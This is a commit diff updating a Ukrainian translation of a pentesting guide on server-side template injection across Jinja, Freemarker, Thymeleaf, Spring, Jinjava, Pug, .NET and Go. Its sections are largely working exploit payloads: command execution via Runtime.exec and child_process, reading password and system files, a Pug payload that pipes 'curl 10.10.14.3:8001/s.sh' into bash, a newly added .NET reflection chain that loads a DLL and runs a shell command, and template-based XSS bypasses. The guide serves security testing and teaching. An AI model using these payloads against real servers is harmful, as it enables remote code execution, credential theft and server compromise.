Translated ['src/pentesting-web/ssti-server-side-template-injection/READ

This commit is contained in:
Translator 2025-03-21 09:29:20 +00:00
parent a96d95d617
commit b588b2db00

View File

@ -10,24 +10,24 @@ Jinja - це популярний шаблонний движок, що вико
```python
output = template.render(name=request.args.get('name'))
```
У цьому вразливому коді параметр `name` з запиту користувача безпосередньо передається в шаблон за допомогою функції `render`. Це може потенційно дозволити зловмиснику впровадити шкідливий код у параметр `name`, що призведе до ін'єкції шаблону на стороні сервера.
У цьому вразливому коді параметр `name` з запиту користувача безпосередньо передається в шаблон за допомогою функції `render`. Це може потенційно дозволити зловмиснику впровадити шкідливий код у параметр `name`, що призведе до серверної ін'єкції шаблонів.
Наприклад, зловмисник може створити запит з корисним навантаженням, як це:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Пейлоад `{{bad-stuff-here}}` інжектується в параметр `name`. Цей пейлоад може містити директиви шаблону Jinja, які дозволяють зловмиснику виконувати несанкціонований код або маніпулювати движком шаблонів, потенційно отримуючи контроль над сервером.
Пейлоад `{{bad-stuff-here}}` впроваджується в параметр `name`. Цей пейлоад може містити директиви шаблону Jinja, які дозволяють зловмиснику виконувати несанкціонований код або маніпулювати движком шаблонів, потенційно отримуючи контроль над сервером.
Щоб запобігти вразливостям інжекції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарну обробку та валідацію введених даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості.
Щоб запобігти вразливостям інкції шаблонів на стороні сервера, розробники повинні забезпечити належну санітарію та валідацію введених користувачем даних перед їх вставкою в шаблони. Реалізація валідації введення та використання технік ескейпінгу, що враховують контекст, можуть допомогти зменшити ризик цієї вразливості.
### Виявлення
Для виявлення інжекції шаблонів на стороні сервера (SSTI) спочатку **фуззинг шаблону** є простим підходом. Це передбачає інжекцію послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналізування відмінностей у відповіді сервера на звичайні дані в порівнянні з цим спеціальним пейлоадом. Ознаки вразливості включають:
Для виявлення інкції шаблонів на стороні сервера (SSTI) спочатку **фуззинг шаблону** є простим підходом. Це передбачає впровадження послідовності спеціальних символів (**`${{<%[%'"}}%\`**) у шаблон і аналізування відмінностей у відповіді сервера на звичайні дані в порівнянні з цим спеціальним пейлоадом. Показники вразливості включають:
- Викинуті помилки, які виявляють вразливість і потенційно движок шаблонів.
- Відсутність пейлоаду у відображенні або частини його відсутні, що вказує на те, що сервер обробляє його інакше, ніж звичайні дані.
- **Plaintext Context**: Відрізняти від XSS, перевіряючи, чи сервер оцінює вирази шаблону (наприклад, `{{7*7}}`, `${7*7}`).
- **Code Context**: Підтвердити вразливість, змінюючи параметри введення. Наприклад, зміна `greeting` у `http://vulnerable-website.com/?greeting=data.username`, щоб перевірити, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача.
- **Code Context**: Підтвердити вразливість, змінюючи вхідні параметри. Наприклад, зміна `greeting` у `http://vulnerable-website.com/?greeting=data.username`, щоб перевірити, чи є вихід сервера динамічним або фіксованим, як у `greeting=data.username}}hello`, що повертає ім'я користувача.
#### Фаза ідентифікації
@ -110,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
**Freemarker - обхід пісочниці**
**Freemarker - Обхід пісочниці**
⚠️ працює лише на версіях Freemarker нижче 2.3.30
```java
@ -155,7 +155,7 @@ $out.read()
### Thymeleaf
У Thymeleaf загальним тестом на вразливості SSTI є вираз `${7*7}`, який також застосовується до цього шаблонного движка. Для потенційного віддаленого виконання коду можуть бути використані такі вирази:
У Thymeleaf загальним тестом на вразливості SSTI є вираз `${7*7}`, який також застосовується до цього шаблонного движка. Для потенційного віддаленого виконання коду можна використовувати такі вирази:
- SpringEL:
@ -203,7 +203,7 @@ el-expression-language.md
```
**Обхід фільтрів**
Можна використовувати кілька виразів змінних, якщо `${...}` не працює, спробуйте `#{...}`, `*{...}`, `@{...}` або `~{...}`.
Можна використовувати кілька змінних виразів, якщо `${...}` не працює, спробуйте `#{...}`, `*{...}`, `@{...}` або `~{...}`.
- Прочитайте `/etc/passwd`
```java
@ -242,7 +242,7 @@ print(base_payload + end_payload)
- [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
- [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
### Маніпуляція з виглядом Spring (Java)
### Spring View Manipulation (Java)
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
@ -289,11 +289,11 @@ el-expression-language.md
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
Jinjava - це проект з відкритим кодом, розроблений компанією Hubspot, доступний за адресою [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
Jinjava - це проект з відкритим вихідним кодом, розроблений компанією Hubspot, доступний за адресою [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
**Jinjava - Виконання команд**
Виправлено за допомогою [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
Виправлено за [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
@ -319,7 +319,7 @@ Jinjava - це проект з відкритим кодом, розроблен
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдено [Jinjava проект на Github](https://github.com/HubSpot/jinjava/).
Шукайте "com.hubspot.content.hubl.context.TemplateContextRequest" і знайдіть [проект Jinjava на Github](https://github.com/HubSpot/jinjava/).
```java
{{request.isDebug()}}
//output: False
@ -372,11 +372,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
- `${{7*7}}` - 49
- `${{request}}, ${{session}}, {{faceContext}}`
Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як веб-сторінки) та логікою програми (як керовані боби) в JavaEE. Вона широко використовується в багатьох технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають:
Мова виразів (EL) є основною функцією, яка полегшує взаємодію між презентаційним шаром (як веб-сторінки) та логікою програми (як керовані об'єкти) в JavaEE. Вона широко використовується в різних технологіях JavaEE для спрощення цієї комунікації. Основні технології JavaEE, що використовують EL, включають:
- **JavaServer Faces (JSF)**: Використовує EL для прив'язки компонентів на сторінках JSF до відповідних даних та дій на сервері.
- **JavaServer Pages (JSP)**: EL використовується в JSP для доступу та маніпуляції даними на сторінках JSP, що полегшує зв'язок елементів сторінки з даними програми.
- **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперебійної взаємодії між веб-шаром та керованими бобами, що забезпечує більш узгоджену структуру програми.
- **Контексти та впровадження залежностей для Java EE (CDI)**: EL інтегрується з CDI для забезпечення безперешкодної взаємодії між веб-шаром та керованими об'єктами, що забезпечує більш узгоджену структуру програми.
Перегляньте наступну сторінку, щоб дізнатися більше про **експлуатацію EL інтерпретаторів**:
@ -429,7 +429,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
```
**Більше інформації**
- У розділі Smarty [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- У розділі Smarty на [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
### Twig (PHP)
@ -693,7 +693,7 @@ URLencoded:
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
**Приклад серверного рендерингу**
**Приклад рендерингу на стороні сервера**
```javascript
var pugjs = require("pug")
home = pugjs.render(injected_page)
@ -887,7 +887,7 @@ ${x}
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
### Інше Python
### Інші Python
<figure><img src="../../images/image (2) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
@ -900,7 +900,7 @@ ${x}
- `@(2+2) <= Успіх`
- `@() <= Успіх`
- `@("{{code}}") <= Успіх`
- `@ <=Успіх`
- `@ <= Успіх`
- `@{} <= ПОМИЛКА!`
- `@{ <= ПОМИЛКА!`
- `@(1+2)`
@ -928,6 +928,23 @@ ${x}
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
### .Net Обхід обмежень
Механізми .NET Reflection можуть бути використані для обходу чорного списку або класів, які відсутні в збірці. DLL можуть бути завантажені під час виконання з методами та властивостями, доступними з базових об'єктів.
Dll можуть бути завантажені за допомогою:
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - з файлової системи.
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - безпосередньо з запиту.
Повне виконання команди:
```
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
```
**Більше інформації**
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
### Mojolicious (Perl)
Навіть якщо це Perl, він використовує теги, як ERB у Ruby.
@ -940,23 +957,23 @@ ${x}
```
### SSTI в GO
У шаблонному двигуні Go підтвердження його використання можна здійснити за допомогою специфічних payloads:
У шаблонному двигуні Go підтвердження його використання можна здійснити за допомогою специфічних payload:
- `{{ . }}`: Відкриває структуру даних. Наприклад, якщо передано об'єкт з атрибутом `Password`, `{{ .Password }}` може його розкрити.
- `{{printf "%s" "ssti" }}`: Очікується, що відобразить рядок "ssti".
- `{{html "ssti"}}`, `{{js "ssti"}}`: Ці payloads повинні повернути "ssti" без додавання "html" або "js". Додаткові директиви можна дослідити в документації Go [тут](https://golang.org/pkg/text/template).
- `{{html "ssti"}}`, `{{js "ssti"}}`: Ці payload повинні повернути "ssti" без додавання "html" або "js". Додаткові директиви можна дослідити в документації Go [тут](https://golang.org/pkg/text/template).
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
**XSS Експлуатація**
**Експлуатація XSS**
З пакетом `text/template` XSS може бути простим шляхом вставлення payload безпосередньо. На відміну від цього, пакет `html/template` кодує відповідь, щоб запобігти цьому (наприклад, `{{"<script>alert(1)</script>"}}` призводить до `&lt;script&gt;alert(1)&lt;/script&gt;`). Проте визначення та виклик шаблону в Go можуть обійти це кодування: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
З пакетом `text/template` XSS може бути простим шляхом безпосереднього вставлення payload. На відміну від цього, пакет `html/template` кодує відповідь, щоб запобігти цьому (наприклад, `{{"<script>alert(1)</script>"}}` призводить до `&lt;script&gt;alert(1)&lt;/script&gt;`). Проте визначення та виклик шаблону в Go можуть обійти це кодування: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
**RCE Експлуатація**
**Експлуатація RCE**
Експлуатація RCE суттєво відрізняється між `html/template` та `text/template`. Модуль `text/template` дозволяє викликати будь-яку публічну функцію безпосередньо (використовуючи значення “call”), що не дозволено в `html/template`. Документація для цих модулів доступна [тут для html/template](https://golang.org/pkg/html/template/) та [тут для text/template](https://golang.org/pkg/text/template/).
Експлуатація RCE суттєво відрізняється між `html/template` та `text/template`. Модуль `text/template` дозволяє безпосередньо викликати будь-яку публічну функцію (використовуючи значення “call”), що не дозволено в `html/template`. Документація для цих модулів доступна [тут для html/template](https://golang.org/pkg/html/template/) та [тут для text/template](https://golang.org/pkg/text/template/).
Для RCE через SSTI в Go можна викликати методи об'єкта. Наприклад, якщо наданий об'єкт має метод `System`, що виконує команди, його можна експлуатувати як `{{ .System "ls" }}`. Зазвичай доступ до вихідного коду є необхідним для експлуатації цього, як у наведеному прикладі:
```go
@ -972,7 +989,7 @@ return string(out)
### Більше експлойтів
Перевірте решту [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) для більше експлойтів. Також ви можете знайти цікаву інформацію про теги в [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
Перегляньте решту [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) для отримання більше експлойтів. Також ви можете знайти цікаву інформацію про теги в [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
## BlackHat PDF